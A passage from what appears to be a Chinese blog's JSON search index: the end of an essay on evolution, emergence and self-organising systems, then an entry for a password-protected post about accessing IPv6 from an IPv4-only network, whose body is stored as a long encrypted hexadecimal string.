你眼睁睁看着这个大脑，却不知道它内部是如何工作的，因为这个结果是进化自动产生的结果，经过 20 代的繁衍后， 我们看到了这个， 变成了这个， 这些虚拟生物随后演化出了比行走更复杂的行为，它们产生的行为，是很难通过传统的编程方式实现的，它们对于突发事件做出了像人类一样的反应。 即使这些算法都是由我们人类编写的，但当它们一旦开始进化之后，我们就难以加以控制了，然后我们预想不到的事情就发生了。 真有一种滑稽的感觉，你创造了它们，然后它们抛开你自己做主，一种不假思索的不断尝试的进化过程，创造了这些能够行动并作出反应的虚拟生物。 我们这里看到的是一个绝妙的实验证据，来证明简单的法则具有无穷的创造力，看着计算机里面自动表演着难以用写程序的方式描述的行为，它是一个展现自我组织能力的绝好例子。 这说明了进化本身，就像我们看到的其他系统一样，是一个基于简单法则和回馈的系统，在这个系统中复杂性自发的产生了。 想想看，这个简单的法则就是，机体需要重复略有变化的行为，反馈来源于环境，这种环境选择了更适应它的行为得到生存，结果就是，在没有可以设计和规划的情况下，前所未有的复杂性就这样产生了。 有意思的事情是，一个个体可以进化到更高的一个结构状态，一旦你获得了一种包含某种行为的系统，并且这些行为可以被选择，被某种过程选择或被环境的反馈选择。所以进化过程这个达尔文学术的中心议题，在某种意义上就是图灵的反馈系统运行在多个过程之上。 尾声这就是整个事情的本质，未经过精心设计的极其简单的法则，能够无意识的创造出无比复杂的系统。 这样看来，这些计算机虚拟的生物就是自组织系统，就像贝洛索夫在他的化学实验中发现的现象一样，就像沙丘和曼德勃罗集合所呈现出的现象一样，就像我们的肺、心脏以及我们这个星球上的天气系统。 伟大的设计并不需要一个伟大的设计者，这就是宇宙所固有的本性。 令人难以接受这种观点的是，所有形状、花纹和结构的产生，并不需要一个有意识的创造者，但这种设计本身可能需要一个更聪明的设计者，他做的事情就是将整个宇宙，作为一个巨大的仿真，在这里你设定了一些初始条件，然后一切的一切都自发的产生了。 伴随着所有的惊奇，伴随着所有的美丽，图案形成的数学本质预示着同样的图案会在许许多多不同的场合出现。 如化学生物系统，在这些系统的本质里，都存在同样的数学基础，在这些内部本质的外面，就是我们看到的今天的这个世界。 我想，这是一个令人兴奋的想法，那么我们最终能从这些当中学到什么呢？ 这就是宇宙间所有的复杂性，所有的多样性，都源于一些简单而毫无目的的法则的不断繁衍的结果，但是请记住，尽管这个过程力量无比，但他却具有固有的不可预测性，即使我可以充满信心的告诉你未来精彩无限，但我仍要负责任的告诉你，未来将会发生什么确是不为人知的。","categories":[{"name":"随笔","slug":"随笔","permalink":"https://blog.mhuig.top/categories/%E9%9A%8F%E7%AC%94/"}],"tags":[{"name":"随笔","slug":"随笔","permalink":"https://blog.mhuig.top/tags/%E9%9A%8F%E7%AC%94/"},{"name":"chaos","slug":"chaos","permalink":"https://blog.mhuig.top/tags/chaos/"}]},{"title":"记一次仅在 IPv4 环境下访问 IPv6 网络的经历","slug":"web/ipv6-vpn","date":"2021-04-11T01:24:30.000Z","updated":"2021-04-11T01:24:30.000Z","comments":true,"path":"p/5e9edb45/","link":"","permalink":"https://blog.mhuig.top/p/5e9edb45/","excerpt":"有东西被加密了, 请输入密码查看.","text":"f5acefd70429a87fe5021e27622ec1128e40d1046ed1888ae7e891cb14d262dfef4eea3742a6ebb5b37f9a24966928d8534a26093596ae98a02be3eb347a7b4a0350c1abe43e99c6a0d9c654f4cf978bb34e2845c71926a86d33ee082f3cc73868d1bc1baa3e724560027cd5278b8bf2459cf3bcc441c852fe92e4689eb2c607177f354436be83aa522eafd76cf45f2a3720123e2922fbe64d9dd7ba1680fadf13e8203c95fa15fdb28a1fd449f57408ef0442ba0606f552bf8372472312aafd455f5defb1e9a56220ae298f8484e66bcd7f8b687098fbdd07cfd8048b73c0433d4b4694104d99c05ef936e7c7adc0ef7ab1076df9a626fd7bfa5377cf546c74dc8e309f54ce76e1108edaf6425e43dffdadd408eced003fd87cd28ad698d3e9cbee0f544263e62527582e22a2d29b5cc000744a9bfe62f5e5854b9d83342a4e58c8a25e4794df2fefee3341ac33fa66e4cc1a7aa009d9fd6a77d9bd1df2d45d163404030cfd4b7920ecb36e32d96e5c2aa108869451634dfbe5fc7954df8d16dbc637ad59f83169969172ae4ebd57f5c4c383fe347a79f97a3695d52db6b5eb1ed29b8cb170b1ff69fe7a9747d99e09eebc4fe2a232dfe900e1e8c90721707db78a6a92960f719abdefb1615e45e0d2f80e03ebe7732df898c03bfa3e5e257b44f4a63c017ced48b8252be554a8fb316cb3544c016e7cb792744f389256f4b8d7243c1d869634984c30dbbd37c330d43f6ea2eec8b52a453aa041f9a50a5c23f0504a18d3aed6e6b0dd15b5d9a72a38e5186651628e8783afa66bd11322235474233bf8e562ee227159f14a1b4b08a746d4c8000fa09300ceaf56971287e421a57d43beba2b0b7ce0d84cbf642acf454a55c491fcca6e96e5064c6067197d309b965ec866afb9051909a671d02b9c19648522edd92483a5b80c00885c96bc79e810ad12644646e07286ca3db98ddcce0d51d3901c6c17a64d2137bb07f6cf479312db7d2eca00226b4c8ec2790fc55591e8a7ad56fc36d95e25dc06ccab106e04db57e745bd8362ffa0dc37d831443a80c853c2e16577fcb9d9df4974726924b6ce7dab378849462358ec8296568e0409fae0f27426a85fc34f4f5d88fff2031f453b77ecb8bf5fe75c77bc818ca28d2361deab6f9d98f4dcd4c32d13e0256744b6afb357a16538acc5434705e0965163aa32be923c31b8024c490e72d5d2241816380b6321b3b493b661149a7f05a3f5244c83982d5ef27005fbeb33a1828b94d2b9cc4aac765fb3d72480db5a7d377873149ac7d382acd274cc2fbe786b7b9dbb76d668d05729defefba2e7138484a67c48c789553df68549908511d7628dbfcac77b42ea7a1a9529a0f044905dc9659ab2a1343879f17adfbb14c7551ecac60a77b679323546b12ca0678ebea5b20a565dbe899b7090ed654b204fbb6e687322a0498361ca17f9caae5d7c44f257544bc4e4b18fa60faacdc66a38bfeb3caaa857ae369ce3ee0972a343346c1026c51176e92573cea11ec1854c36d022adb5bd14df888ddaed41f0295e8c2bb4c539e63f702a28a91d2be7b3b2f9221dc6a9b6ad27b0d5e13c231c5c9a2db9ee13e8d5b124a3e514a3553544acde5a43b9faffe2c1104570aafda72e932674909d91e09fead8ca34f8666db934f2facc03707f8c76756ab563d9540854d7e70db535fa44633d4f42c5cdce6190aa6eeb967b90fd4328c33cf3e7d61fc57aff8e3fd1163caa462a429d028693f606d42e2dc4a4c3ad7b3e8f7b6f3cd62ab4eeb5524c421295ded27582e3dc0ef212b6c29580a23b6ea2fbce265ebe0f9772d36464f210d712f2c57c04a7ceb97263ba5b6ee8996a0a55025f10944910831023add9bd5eca1b815f881d6aa1b449e31c47501667ca5e92c2b1d7bda02511f23bd2f5c2af24dbf2a8fc353cbb1201ff9cdde3e26f5d897053e68f80b0a759a2c93fa51f9dae9ac5670a2f39f567cdb66e160c315f9c23074652cf851513b70e39224cf1794aaf25b88df5b887dc3f4285d92103f6dfe09a87cd6487246376546af0c8460479affe6b7fb0bc2ec9c613cb00830d10c8c7d8b7f79539c177d7947df8b16b0d41e533debde83cacdfbf774290ffe440c220c4ff622a629ebcf5012b5cbbc03a63e92fd075fc40f265d20c39eecd03ec8ebd04ade4fccb0db65c1aa31363669192f0706d4fb24b3a648140a1e193f1c3de5df67d96916e57d9d033c2e84170553cfdaed0ab5e38453f101243339d67b9c19644b88f4ae415646411dc31e2697a995b51633463e58bd2f3c17ffd3f0badd785749228bcef9367bb0f9e64d1ce7d11ae0a1df719166e6e6e78c41ee771bc4464ccb1418f431011721dc84f84aba10e67e4863b3325e8fccf2a01a0ea8b7571f1045f1c7aefb3621c9cdf4634695d99d9522f191d8cc1397a4ee985a10613e71919508f1b28084732b0c3e61094ed0884b07b1c1d45a71e337c63367588e691d4ec56afaea4c00505cf24fe7deea1fa514a25d406a3310f3891cf14215559f37ca8fa86b42382d9793e84645667fb014b2ff5bd8b45ef3e7b5a504996257f11f3854420e7fb7c4391adf63bec990226976c206cb2cf9f79fbc11778c41b7b9a5bf3cd2f5d3cb222371311ee23b5a400e73e5385c1d2a233e32027d59089d8e9cd92759ef489d2e22dab2157f98f4fc33388bca3018afc0dbd54911c98b86e718245931522b3a7e3a3808091454b37a6fcacd0cf96a02111bc6e5b21481d8ac65e244439727f1373455489712b5043fd383e82a64e7f034c7fc2ab863b3e4e9027794426ab959d1a7c79d77f2faf147dfab0b98e5c08ad57b76e96736af4f84401ea5674d992e2dd1deae1ef2cf4abdc289c792f1c39421d314d353467916cf62d3dbb91c56df51deb7c0fa74a6227466bab96564fa71a74435bd2f8b837a5a66c89cd3036fca95f9aaae4e4b41f0527490790e9b57eb1c8d87d01e02b605a3b154cee42b0db179719a4ee68475b0d7aaf9df3460646f0a184f7a453c551827a2bc695f35e1590a725d4c1f6100220a20a95b906724f74823fd74beb8bd40c4b69a35fd21c9a875b2fd2c9653e8a7dcd2fc7b54bc9f039f7dbb87770fbfd235e77f4993bd748427873a0aeb3d5f4177ba73fd049dd488e88f7f43cbd90bb5c72cf726127438bbd8dc4d0e4aac97fecf8ae03506f2b5219f8ecc3c044d2018e8b11d30b0687000e11d6bb1f2866dfeff5c51d7fd643c770155814e8e65013dd5cc2892f144eba64f2532b200113da98f49a5d264991a335792ae14bde91667c5f8c3cbe4d9e29cb3457925db6824d9176279869d1591fc89640d582f64ce7387021796f3b20367b2ab9c33a1b783035cc1b26fc1cb977933428fda2c3d4efabf5ea6de631ca245e8b185c678efc4e90694680d3c05c911e13231da44cab08e75b211cdde02c976fd59307d5032f7b1e0d06d74a434d8281ab0f16d0bf39eddd72a7071f05b4803cc8aa4f4d1fd5a96dbff8bfbbfd85dc26926ff800c2a5809b0fcba2cd96c72d9f72417adf29fd2e29dae6e20fb34738e8fb8d869bc98fbd57ab4b2bbfa06bba464e3650bd24e76b2f5bca3900db903f17b5c7b83a35db2cf696239ef2c83c16a1cab1b446b55d08476796ca34b7ab8b053bbb0e19cf1c8e9edf73e9b592ed293553e63cdd0b07cf508af9be6cb4b9ca79d0cd80ed58e021f67a9b9c0811d4f66442a2799d696dde89a2c89cc3b56d1a3db1e79a021d6dc4db2fd2977489dc16e42f9abfef08fa14182b89913bb83a57a005585ad3d73d2b3c62969d4ac43918ed4f392e87995d0dba57d55067f7f284dd0f179e301fdd6812809b7290f2c9476461b692c3da9f96b99166551fc2f0ead4c7433e1586a150dfd66b014e11fe36eee93c88961f7d009736f17fb8b97a9345e5237741d103dc31a346313ad3ddc660467e52925f55d6d678990fa320b56d8113796f9aebe6f98dfa3a8c5ba5cd7410303172f6f102f9d62d8fc171675b5ddf7a4ec8c920a2f5c7f86caa77e2243a7f27a26aef02a5f00ebb631be07f76b031e3a41c940689bb74ff326a70190492c1a2b94ada73bcb50ff728be86a44a7f653fcef3262f87ff2102a41addd7b67143b9a36ad580a34080947d6cb2a5565f58ef6050636b186dca7382a64c46a065330a686a16f4e7e12d8233e0fd26d3b2998d48211c9252e207f66fd43df58e5ba9c8c6f1ff79aa88eac1daf1a5343e79479f79eb4f9079c100e2cebc29889a3d3d69e3c453204918e293eb05997bbb27bfe5399ad6909270002f7d032bf6aeb9c3f48a69d33eab403266104f88d0b8d0aa8c8252ebe93cccccdbc48441252c57a8d789e5fdcd5a21e0720aa80914f992bf0a52d93cb206bfdc63cdab061ea5eca632e4a014ab30c33564f07c47e1bc4bdd73a65e60542974a52420c843f2504fecb0cc82e9d75f71b0f41a3b889acabf09133bbd2fcfe7911346cf6c4dc51c5f1315efb951121142aa2265dcda8012b996fc333295d0577e19b97a24956775c9acd9037076d52732b0cb34489495125896a89c207ad5b22dd1ada9ec1b849408bc435375a3499b08be58c3b8e47d60faec2b1057e78542a53a2934dd1359f670e9955875aa7712bf52a7909e6f531e3300c7d40f4560c0af872b30fb7c974d36c77d075ab84488f06d503ff5c0d180692e61e4371655cffd69d4c792f6fee9b332c34c876df0e616c208e20b3094d2ec581ffb33b4280708c6fea3a6d9ab284d8b65df29a96f569ea6bde1aa445333830f12c16f59ac0cda23c01b4ee7aa7b2d1bc9d163e660d5b371eeb79f7a0289106cbddb2b0722f47082fa1dc0de5a9819567b7a10c85d8696d6b6d4abc516f77292e7ce083eeb28ab227282ed16acd3b603989a26b0c78b2699930dff6b9ef94354cce4ca658a7d059dbdd21512c5941e02fcfb33f5a72da2fe4839877cd662560c54f6d5f3ea8387f24be3169ec5c67e7251e8a535efd5c443fbf5cd69008131bafb0b78586a63697f7893474e0a381a90876961e6f5a7e4c4548e7507d4af91d6137b1ddc0439a6f27195f0dc696efb793a82e668dc386e86743d4d615f32e553b91151b989b029f0d545a791272149f5cd4af3fd8ab4675d66ddd3eb0c979143645eee65e72936ed72d3c14c44fa7a59f5e65f584946cf5cec1c22cb39106ffbb11a3fde10c4076a5c81e8912a161227c3fd3e3d982dba3c28a4d143bcf7374d2cd2ced9b70604e796ff6c32f494ff025e60661e7157ba2b6e4165d6778fa1015ca4f04c3af847d6a1328cc9d1077ed68018fdab523c95dfada4fba8eef6712c522ca4650029335f800ca78566dcfd24793ce475a90f66c429c5f6e18b4f1da277ebc3cd47d3c786b3a93471b681d058fd4f929d4bb9ed9e2b15c5e0c903115a01918446060b7682714cb4f8874ef662584c384199f6ef31e3b5e9f3f4205f4b773dcf5515dbf6bdafc606d466ae2d36e46801e098769f9c8b2d2437acf4f37eb5015d88e63b3342a226d522459ec339d5203ab4ac32fc76e0b49ee2f83292552707197c89fad5a596aff7bfe79832713c30b657b76f83904f3195570473c4ef9cfb62931a757b1f0f5cf116825f90f59d77c7f2510b698a90636ad25d5f5a7661c2cebf557683db6fb33d05677f237e81878f84d1d97910dacd675c2d52eafd8f7715f25e1a743b4821a2a36d95762962e7edba7caa23c9af0e7a584bae0db92d09e64ef3aef8320c05ad498c2b00f76f5edba58f4a7d8fd47792d1ebe49922c9a90caae2498180df108f3563eaab7c332145f9360f5953efa2a2465719ee2dfc0223fa1107534b123b1532861c0b74a4d09e5b5b7b8850b32304a409dd2a7ad117571fd8a46d1912df716aa084c01b7515836ca61d46671ea429d574ca76135dec6c4fd5cf6c20c1b638f9dc79708f03490ce4c090614d812f1cea3d16bd7d6d6c001dcc550858865ccc35100424c69d1dbd2d20b5912263f3bb2f6700253570e2dc16a5fa70c8bceae57e3c12565253d7195432a2a5f9376e9c442ac0abbd54a65407e19dd57c0575585b8be6303e24397e267cd735f5af450d7fe87f4c400501cafc0c7b2d435e8f8f3c619764b409e07ae4a71f0612cfdc45c6308294173b96fa8f518ff6a28031dc667771100ab4134f157b68c4b8acb5829ab87acb9eea6c6df2700e02b7b913cd3d7cb25cb7ca3931c45732910af7a83e8de78754c59ff475137ea2fd1847074a14677f44e97249058943e841cdf2b5aceced66613287c9462a5f1550472f1c4a1f1b03d57ce06a017573cd6fc5f5acfe2fa1821c04bc041f294587b8d89ffa067eadce660b326eb60833614ab0e665680c2f3db29e668909caf323cee0e865685ecc729754b862c1ae86008e36f3f36335352048c591cd8aac1693e7740bf9b86772c820cc7177318ba8fbf6007ea187a380c156cc46ee930f379066835c2e74c438eef38eb2441c9f6946a5167665228142b2f33e456fbf5206e34724a5754108fe886e2f0b95b2d97a3ae6f306bad4e599f28a9fd69e224f60de15879579455edef26a8c591316ab527bc9ab5cb381ee96c119f5c662caa176a16eb716c285076964c0b0e9f3a7a25e4fa72ee6697e0e496fffa10f52f070e1024d4086a986e4ac5c06377563a473772851e6fe909215119436830e5fe340afe7150280f20a95a11d93051231f7ace2ed3256482e2ccba22ff18f14baed935d3087785af94a5ebb39201df134e41381244fac7868922d02c8834c1b37557354c4c7bf4c0dcb43158af48d1f04a4df3f94d024b6139204f3bd704e327a770811ca3ab34d4ad84e5f7caa73f986fc945a5bf47cbfe24696afa16afae24747b5d82589fa3f941da8ed8eceb9a756978481b5b5bae8784b4b43a33211663a308ee9722fe80e775ee5bc7ba9ef12f157932a932b53f090d1ae19b3d554e74fb371b4f0775eba48eeda559bcf32bdc32b29407fa4c587ce9c67af086616183a28429a66d2aa275cb6fd93046cbe0216869c56a18270be292682ab1e60e5b27c4740feb74d19d241f2ba6a77d8cb1412650b44c22f9dd088aaf34ee31556621739a923f76dd41836bd711137ce4a68b5d8371b5044103efade1ba31bd32150db84ee77a31ea7c53755f56dd7eba747b0fafe026ee83a1fa74202713dd7f0afca96e8cc235ba23123b69f52724b59ce25d47eaa7d10a071e622e2329225ab8c759089dd47e400a07a7fc4f8a2a93d9928ada25426c084fa338946fdec895a56cae8fe8dd912d1bbcf691e8d7ffbfb8ef23eff56d1361a6c2c542aa9d221fd0c277734249af2d147a793d41a5164b1174adda1374d6efe3a050c43491ada65d8551c31b7595603e3647c1101ef1e1033132020125a7625acc661ba4d504bde841c9c58bb6d932fdc83f9832b9175f23e35bfd8a3aa02d5eca6b9f68b9dcf8bdf40dcda95b9a9574a1a77ba8a24ea5480cc91b4e196253f1f3a3ee9f8176b7528c9039f80664e0a1d75cfdad1d86558766f4941822674aef1e9567eb58e53bdce04d6166f79d852d15c78c7c049f979b343b9c09735420066d417ea64f9d8c6d32ca83bd7a00df02ca3e21dff8f975e465b32df01a8892e9bc9499ef429c8a1cb376a1b50cc4f3d2fe7171adfdaa96a350c9382aa8f1fd74771afe951ce9429d4f550694fa80d9429bb7ebcba060b876f81bfb14999300b27d9d0230c81097670793407225533a68cf129c4fe6f71430a79e300afd4206e4446cd39eda323b5427c0d39679bf43f274cfbde0581b18c544f9ca4d12ea39559c2297b47eeccafd51fe14620c6937561468af63e2424ec7193ece1af23719d4f269b50c2304a7964e4677c1e9da45dadf31f008c01f1f939e706b82c9ad84850e6189e6105ed61219db9ff2b255405949c6e6ce49e4a64ab37bd12fd331af79d9f38c926aac921f2b5cb66ad24e515e37cd9e6127b93f3a5bb47d907735e17a48b9fb779c87e8c4c0df7bb57199219cf778537b55b699a1e5a16c1e5c0b19dd62c4ccae48feb0a3da093ed7700ff868161a72080f2dff4e3dfe9bea9233f18b4ab1bbcf735590ed74ad3a7f20c39794f0ad60835f39308e08c0a6e019fc9be7ac026b0b4b8fb82e6087fec19ba1d55e059b0ef5701119da1403960eb5868a4b5a66cafd12d693755c7d7b1ca421c11505be40d2604ad2a66b78328accf98d18e92ec712f9c67976f6279c4a7101de9f440c015773750fab5d78d165ac2d0db96d0a51bae30caca601d793e171148f3b8304bb56c863ae9ca1b08485641381c875bab28e2474437ed0b5c1e0806d6e7369e78fc507a96ba6464e6db9863afdbf3dd3fa288c629cab3aaa475be90c0bc9ffa6c4443e3de6de8a1acebff178bafc7ac3123be21dbf10db990c0f061696c65b98fdff63223201435d9f4b64461b228419babb9a5f766d98ef4433960258a3ba5290e3b1a0d5e4197eb947431f26811bbe1fd544291bf4e78f5df9e122383dfc14a4bee068c9a6088549698ac4d50b3765148d8afd49d33941d163ee0c12dc6428bb4b7379be3b3ceb2c3020fe56d66d5e3695a3aaf73ab21266897df83dddd9b0c0183525f92d865f7f2ec850da797ace2820b4e67e0860cf5164db16fff53f546e81f45046e707f5451e198d067617632690878979ccbe82a53e7935cd3ccecf1019779fdbb0ca4be84d0d4a3d8f91d15a30eaf985e136048821cbed5006b04b7b7be17755e4cc0b738a91f471de20518b66f590454d7b06719d33a723e178a5335b5dbd27d6d66f22b4890a595f89849468ccd4e3453a0df5dcea98e0d2bc479f09943ae6f4017bdf77d09a7c6d9297b0353ab8c2773f048415e1cb98d66df4f19d9405ec695af728964135b7bf1b40223d02725e9caf7b331066bc1356b87add2748312e07b688ec1178c5867cf4de644858c4457f92d935fb98c84afc8e1bf364af75baa2dc2cecacb83f06319e53b41eeeb7d3903ef900c7040a736237341b76639903b3067201842942895791d70d65efa03fdbc95ce92c4cdc5c8a8411554c4dd987c4efd9453d92956d9a4870dd4489c9ad0aef0ea4c61a9683ac1c4055e19710547a0df79d5a792d66be4a8d7ef41619c333f7cb7e9ed4d81b89995ef37a19fec65c81b40084881b25c4ab094f60824ad637e9289b7b209ed9833ed850a1eb58d996198b54cca2c92d30508322b3a796f35b6da3aacc8ecb24d951302a0c5e79c200d7acc4a57e52b3201ec8cf75a623c4ef16c157742d4dc4d1454fba3004abc44a3596e018964f594b6fb0dc0df3e3fb7a05c6ed7f8f4f16b2ede736c06eeb6f242a3b201d29135440ad446013dbc12c13898129e44774dc783839ccb76a592b238ae828d9be0c61f2943e0c5cef68f4ffc68e3a26a5cfab5e9973e0a8c057bc3be5c72f87230a95b4ee5d79e662080a59be1f687599c5ce4cc57f2e6314e6abf7ddaf799147f4ea9ebc095df7f49b0781be53c3db887acf6d6bb56e0f2aeb4ff133b49315a106b6f8f2d4d6c2c0b6afb9fa70f36756da57a56a673a1d7071886401746cfd28bf29601eee5ad5113aff3b8cfbbbae0c8b3f47370163e681e6c0e5ea58097b201591e9fe4e1bc83012c2f625d26a48fb0c16bbe786263e262b84f2e5cb1bb3b010b5dd771829d48294d09f2952fb88e721b0b735bed4132da0bdc68b1a6b12b260189b61c1ebfeb2556b918130094a0cbff812e735bc5a82ba364ce87b355f7b908886abfc8f53b612a30256a3748e68d9b15eb131035a61b3a57952699d685d1dfa27455506754a21495aea263a764c7b5a7fe607b21ac1619b9b5e4d415f4ab3d33997a3cc989cdbfdcbe12c5c5d891a0d6c66a062d34952d37b9d9df95a523951d1a471cebdd5cf32c818211dccd2f016d370d6d9f3abc8c2498f1d99a6e1e49c703011a572befb5e85295edf294e8ed2484abaa6b9a20f543382254bebdff5699e3f22fd2213dcfbf8b1bf562121bc9601f089d002d3953b1fe68e4238932900eab9101973d93808aebeda486137d8086dd4e01f83643e3445bfea5a52f198be319ce203a69e85a3e9eb6b60821e80cca2807a911ae4c67b2ce94cd08336eeceff2b8e41611b7c2f2e0a60fc4794688ceecfc3c0866deeee5cd43a07f4ef4552e801cfc821e1be7c4593797d2f954772596e317b19eeb1ca9659a7185ea47a3483f0aee9784f767722dac862a6dd1a55208b157f2e7aa1a6573a545f960d8eeec9a49ba3c9edca5ebc9a97b7c3603a642989d178ca8a905f27504188eb1a91a8b22e55f02395669d9668c0c36730d35e0cc996012859798ca1434876fbc926ae128f14a3b3a3eb422330a112a457f061c0dacc58076a30245327aa2e4a4c750d7ecff4fa173a62e4a5ebb006239e5ab3fa30ea234572d29dfc300dd26690fac2a0e0df4c2841148f1f1656a958033e4197c23ca9cc4ed6d851e5e22d8e1f88def759b2577934765a6058adae9bb5f354d81f83d7a2013b4e00000c2c5ad9efdd7a08328c5eff69259228a4f6fb605ed9195ddafe57f648f0dc4c11c6f69ec06cb8f80360403a2a4a35207bc2a0d3e8eabfbc215950d37d30a51eb8f57901b00687663403e3a7afcf7c2559bf5217e61b6eab052209a13d707594fb2497ed3103a390a723bcb73f90cc39827bfc63c600bc26206e7a4e5848f865846dd635168239060af032b12c1cb92c65282b8619b49d024a17729e15519ee6994b5a6a6a4a570e549f8971a66b7964590ee8452e02149de0bd43cbd521509188fef6b40006f79edca653b06eb0ba5161dcb01c968499191120bca4a3258944982484579264a630f880e23a7330a5fff63c04d824edeb673ed6ff8bb9bf6c5265f1ca522ddfa51a672d393b716345eaeb96b7a0d077bc97c66abb01318bb8d68d928f15e9c9a7785e808c95f826d89e1b2f4a66475eb530fbafdf560d5494b33df88b57dd924bc61fd78cb195580f3ea1911247a8ba3f070f8086af8c6a42f706de1b5aba1d2f4566c2d25145d65c96b272ba9357c7432652cb07f73c84a577f9599572c16a18579c53448ee76c9d8863881b74947074143df8c0203b7ac75e8583f130a66dbc6d9bf2507185f054a38d172b62668122b63c9bfcabbe703f51ec67e5b0ff45091230d6611c2dd59c93ae5ff818c91510e2c39719ff9c67bd275499f86b9275f32368c31b54048fc3d2d8c54881b41403ec16c0cbab30777385c8bd57c78d31ee4f8db4e5a240755c9e164a5a11db996951e8c3b991c07a8dbe733b770e3ef9ef49d9b310349983919bce7e2a00a89c3c4538e7e2458fb070210151c005432c85239d2a426cca3a6d275edd751e69c2100d22c3db1d1fb2d17f213eb3a11e3b269d91b3a3be6839e6ee10e1c3331841b86aed5dbf209b77dad1133370940ec73113fcda497a8e3468f6a5b9a730c74649d4fd6c934951504cf67b8c5bb78c1d51364b817fbec32cd0374b24d012f4067c87eee731a7b885b6f13e59f9b70001ab876fe03640952d7cbd39e682ea37bb67b6520a867beb64ccf0e1bcf1fde677c72d076e27ea0cd4a19c6b3d4eeba5ded328d3a79a2234e6f1eba4d01f484c4a57f98983b7b723d5f2c1e5898aa27c77a3ea6666f2d8f759f31b9cdb74b50f7924077cc06e0d68748f7434f12d908b8ccbe1ac26c70809beb19ea55179574ef39058b8a4cec433496d3ac95d142b4d1cd5dc357e96a62955a2e1722018becf5579d8e4f168ee8514f3622118f3a6f46d3c3c84c55213741f3204d43d23a87a7d2359c7ce5d59ba668dbaf29d1e7010bc7a53b8d4a7b1d078db4376b809a4696738b001082e559292b69e06e7f3d76e2f55bc1a92f23a333fe748e228a50e6305ef9360e2c6bc054904db3222a4e03b9fe5b0c0307eec85636c8c77c17749da455d0515395be735c817d2c846ed82160b7f2fed7ba0be5136a941d0c064d9b72377becad83295f67bc0b81f504fa3b1d9c4c1584ec2d7a332d6f564645f6a577d1daa039b1a4e3fe67cfd7ebbcfc1c05d7ef1505a2972a56f30e8cfae48cd8303768db5e894db6d2807ca76b34d991c70b53bef5c2f857bca4508ca6200fd3c03d9509f539fd366aae6d4250f9b5bed5ece062e141e63a855cf2dbfa23d08e82db205e2a4e3c3622b8d91fac56219abdfada0c853bab91f350ecc44f979fe80c854e632644c98544083244a64e5d4bf9a082a542baf329006623ce11a7cd49a274f7151b5065a92c627cd8caabde10c0e6997368366bef3e0e35f9ec406302e13e2ce67c131a8295f661dab2a7bb4f60ff5c8753e1cd72ee02dd3d22dbe777c2e8575d54b8cead743777b05cbee4e85bb251365a5545588fcd491627a4e6fd926519dccd4b432d07134e7f25366203d75e7bdf8bc74c9e48e2ec3a0b79943f626446b310f2c3e112a2b53984a16edf8aea5b7e2f784ae5825a14a4b1c88f15dac58100db22f1bf76e7bbebb123402a6e26120e2ed0c76d09ecaf9025ead72d09f0857e23bd0f00d14aeab026ad69b208bcb953402176a17b0c4a8919c4483d4536bb78c0f697f10bc5db2ad49b8713937c4180a3f0368cb2738b5ae1e56876f5d9deb207b6aa195f8fe038a26da32a1543e22b0dd33b54e819c3a7d7a6ea248e4efde285febdc243c5bbba69f9e7b0b828327894a34bce93ddfa90a0b1f49223bc4bd8e4c5a646e688fed9b5ec6f2f976410dcd9719b2c6fa20c7d1ea227bba65510a13e3f05c4b6acd4549c513acfb0b9d8d4582172de0a204d46e1457a57f3f419b9099be343f77f659b9ff16050c232a0d22eeb83702e90e5d460795169d39a1acbb0f154bce2849f9417b4556da9db1f6db5d62898f16ae25c9c7d6ec47b4178dbda7ee0d700a39db19e71fc78ecc3e17ed493617573f8ff64df89c0113ae40960101d10e622041294df7a37439d6d4d1ea31e5da37f189ec547d8268e41775a85aa0e483465d4c1e23a8c098a5c6423280460f5fb976024de3c0087a5996d8ce7ab64eaa62d6ee91ce4c6ecae6e9e65bc134b153f0629c2033ef79f4aab3bf33b9dd2732656b4c5146d51af64658e3a135a3694e5b93e49eb7b3e3858410fd1453cf8a8ef5d3daaf82216b9369fc73e4d102bfab275fa6e0b9fd13991a6aa7b0b6cb10dec93d9567612a88690eb55a8491f5330eab53b0a58435cb4a5b28567ec7bc74c707dbe917834203d77d539db00404e4879b3176905e516afbef9fd54460bfc0e88c86f7f7b627546736e26e10aca8f88aa6d03888a6cff6f0ea95ae8871b5916f8607468bf765041e67bae29112abe934d95453ea2ab99fe1589e8b637c743b9e17ca495138cc11a58792173d983f7194ff8cbe5c08c9a04997f848dba72063b68ff179a8d928c2071aa1bfe263f667c288d4b2e6120d71f38a0b2ae55d96166919e52834cb3f707c53cb421cd37035565a2924301d84366a795c57fe566e47dde217f7c1db21f44f3fd45e1d20710be9c97b4db6a0c9456b21df800251556d224f10db2db203dc0bc897c836b161eb1a1292e6bf03f78d60c810831b09fbac31415f9188170cfae7f109df10b81e600c63552b28391b9eeaaa8844f5e2c501682d0651ed89a4e912f393047199f9c1ae63e2d7686386df3228837830e18b2b18cc912b230b902d2eeefb827eab4fa4bb1d5647590cb967be4da33368fc1afc5586d51abc51982a7f8027e3373ea4da7f98f7061781b337dcf0ae12797f71a27200ad7e2cd56d19f76cff185c992d4903791a1e57a5e56f043da4d47df9e6a18664894a377fa5746ea37768b94c8678b44ec6bbb7ab9197cfa591b61fb12ff93e7dfa2199ace44ab66644a74a3a84c58e627d9dc327b515534e17137f7c7c493f3deee7bc6f8f5cfc1a74eec8e0ecd350658c88fc28d0a53b036d52bcac84b3d1050aed5a530387f1194fce8ab3d4b07f5703133e31ab323378c3960b8aa97991b2767b185dcce3e83e217b3f91efafc615a32c00904462e996daac14840f0f57e7882fed7364d5db08cd4b307bace6da0822a5046df55914f648f56d1a71961e5e087c8592dd8c1300d52277309a568247452a514d213d90747bc6bd6dd9a5f3390dcfef9053acf423ec958377678be2587b4e384f520298e860247e95d8a3ef14e9f9356eaae2cc5a9e0fa7c5eee437d9778cab5cd2d945c406f160f18ad67878b6d638dff2c303d60b5a80556140e1ff4387ab2740d328b5f712ae2ee080b2453d4108bbb5a7c1ff660eb7e494e8dd405bd2ff33b04be94ddbb60253b047e72b5bf02dbc1896292b4689b9de84e4cdf382a2d44ba4f2f4fd688cfabb7f4d806a51e7b0ae3bc4bacf3dc17818d4ef65e5da8187cefb40586ec09324c34c0b0aa3af486683484c33c436199f5fc5c9f38e3e6759e01ee51b6b62e9d4a953cb1b67dd996450e933f41b073c0d64352f31402a77a80505205b485173e7de2c2e5ca943b01eaf2df237058c33ac89bd1f289b36d02555cb65a9f779cef03a476b591fcac0150a45d555abb4660aed4fac077675a1a285f9a1af380827b2ac551ca571a131f896fa95089ba65e64cbd59a7a79333fe028f84d73658445f658ec445d568572290e7bb89ca4472198036cfba90f153368cf